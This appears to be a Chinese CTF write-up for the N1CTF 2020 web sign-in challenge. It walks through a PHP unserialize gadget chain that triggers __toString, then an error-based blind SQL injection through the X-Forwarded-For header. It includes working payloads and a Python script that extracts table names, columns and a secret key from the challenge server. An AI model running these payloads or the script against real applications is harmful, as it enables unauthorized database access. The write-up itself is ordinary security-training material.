开始

访问地址直接给出了源码: http://101.32.205.189

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 

粗略一看,源码里unserialize($input)的大字告诉我们是需要控制传入input参数的反序列化数据来进行一些条件的满足从而来获得flag

    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }

最终达成的目的很明显就是运行flag类里的getflag()方法,通过readfile来获得flag文件,而想要运行此方法就要满足条件md5($this->check)===md5("key****************"),并且key我们是不知道的,看起来也没有办法控制,可以控制的话还可以通过传入数组让两边md5函数来返回null来进行条件满足,所以我们需要知道这个key的值

    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }

然后很自然的将目光投放到上面的ip类中,看到此类获取了访问者XFF并插入表中,很自然的就想到了xff注入,通过注入来获得key,来赋值flag类中的check变量,而此mysql语句放在__toString()中,想要运行此函数就要满足一个对象被当做字符串对待来触发,所以我们需要寻找一个能够触发__toString()的点

    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }

分析一下发现,我们传入反序列化数据会触发__wakeup(),此处的stristr()函数是对传入参数1中查找是否存在参数2,而参数1也就是$this->ip是我们实例化flag时传入的字符串,属于可控参数,而当我们传入的是ip类实例化后的对象时,则刚好触发此ip类的__toString()函数,所以我们此时可以生成序列化数据进行尝试

$flags = new flag(new ip());
$b = serialize($flags);
echo $b;
INSERT into admin(`username`,`password`) VALUES ('user' and updatexml(1,concat(0x02,(select database()),0x02),1) and '','123456')


然后在本地mysql尝试构造了一个insert注入payload: INSERT into admin(username,password) VALUES ('user' or if(1=1,sleep(3),1) or '','123456')本地运行成功,访问目标时提示如图

存在注入检测,应该就是waf函数没显示的那些代码,所以无法直接进行注入,需要另想办法,而__wakeup()函数中有一个可以帮助盲注的点,触发__toString()时,我们可以通过报错函数来控制返回的字符串是否存在n1ctf,所以构造注入语句1.1.1.1' or updatexml(1,concat(0x01,(select if((1=1),'n1ctf','no str')),0x01),1) or '

提示了welcome to n1ctf2020,那么只有在传入的值中包含n1ctf才会提示这个,所以很明显是传入的对象成功触发toString函数,证明思路是正确的,其中的报错函数导致sql语句报错,使return的返回值中包含了n1ctf,根据这个逻辑去写一个python脚本跑一下,我这里使用了一个很实用的burpsuite的插件辅助生成个模板

exp

import requests

session = requests.Session()

x = 'qwertyuiopasdfghjklzxcvbnm1234567890'

arr = []
paramsGet = {"input":"O:4:\"flag\":2:{s:2:\"ip\";O:2:\"ip\":1:{s:2:\"ip\";s:9:\"127.0.0.1\";}s:5:\"check\";N;}"}
for start in range(1,30):
    for result in x:
        #获得表名为n1key
        # get_tables = "' or updatexml(1,concat(0x02,(select if((substring((select group_concat(table_name) from  information_schema.tables where table_schema='n1ctf_websign'),{},1)='{}'),'n1ctf','no str')),0x02),1) or '".format(start,result)
        #获得列名
        # get_column = "' or updatexml(1,concat(0x02,(select if((substring((select group_concat(column_name) from information_schema.columns where table_name='n1key' and table_schema='n1ctf_websign'),{},1)='{}'),'n1ctf','no str')),0x02),1) or '".format(start,result)
        #获得key值
        get_key = "' or updatexml(1,concat(0x02,(select if((substring((select `key` from n1key),{},1)='{}'),'n1ctf','no str')),0x02),1) or '".format(start,result)
        
        headers = {"Cache-Control":"no-cache","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Connection":"close","X-Forwarded-for":"1.1.1.1{}".format(get_key),"Pragma":"no-cache","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9,ar;q=0.8"}
        response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers)

        if '<code>noip</code>' not in str(response.content):
            print('tables:'+result)
            arr.append(result)
for res in arr:
    print(res,end="")


获得了表名为n1ip, n1key,这里是因为源码里有数据库名为n1ctf_websign,所以可直接跑出表名

获得列名为id,key

获得key为n1ctf20205bf75ab0a30dfc0c


然后用这个key生成序列化数据进行访问,得到flag